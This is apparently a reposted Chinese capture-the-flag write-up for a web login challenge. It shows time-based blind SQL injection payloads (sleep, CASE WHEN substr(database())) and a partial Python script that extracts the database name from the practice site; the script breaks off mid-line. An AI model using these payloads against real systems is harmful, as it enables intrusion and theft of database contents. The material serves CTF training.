CTF-Web30(延时盲注-难度大)

    科技2022-07-21  141

     30. 看起来有点难



    分析:

    一种方法直接使用工具Sqlmap直接跑出,username和password,然后登陆得到flag.

    这里我们讲解另一种方法:延时盲注

    测试?admin=1&pass=1&action=login报错,无法连接到数据库

    测试?admin=admin'&pass=admin&action=login,报错,密码错误

    这或许说明,admin=admin只要知道密码就行了。 这里本想直接用爆破,但是听说密码不是那种弱口令,或者字典的,就停了。。

    还是回归sql注入。 注入点应该还是admin字段,测试一下过滤,试了一下?admin=admin' union select 1,2,3 --+&pass=admin&action=login

    弹窗警告了!然后过滤了select,剩下的burp fuzz 过滤字符

    空格 select

    双写大小写绕不过去,而且并没有报错信息

    http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin'exp(~0) --+ &pass=admin&action=loginadmin'exp(~0) --

    测试?admin=admin' and sleep(5) --+发现延时了。

    于是只能使用时间盲注。

    开始写python3脚本

    爆库名

    1 import requests 2 import string 3 4 gress=string.ascii_lowercase+string.ascii_uppercase+string.punctuation+string.digits 5 databaseName='' 6 7 for i in range(1, 13): #假设库名长度为12 8 for playload in gress: 9 10 url = "http://ctf5.shiyanbar.com/basic/inject/index.php?pass=&action=login&admin=admin' and case when(substr(database(),%s,1)='%s') then sleep(10) else 1 end or '1'='0" %(i,playload) 11 #key={'pass':'','action':'login'} 12 try: 13 print("正在测试第%d个字符是否为'%s'"%(i,playload)) 14 r = requests.get(url,timeout=4) 15 except: 16 suo=0 17 databaseName+=playload 18 print("数据库名为是%s"
    转载请注明原文地址:https://blackberry.8miu.com/read-11181.html
    最新回复(0)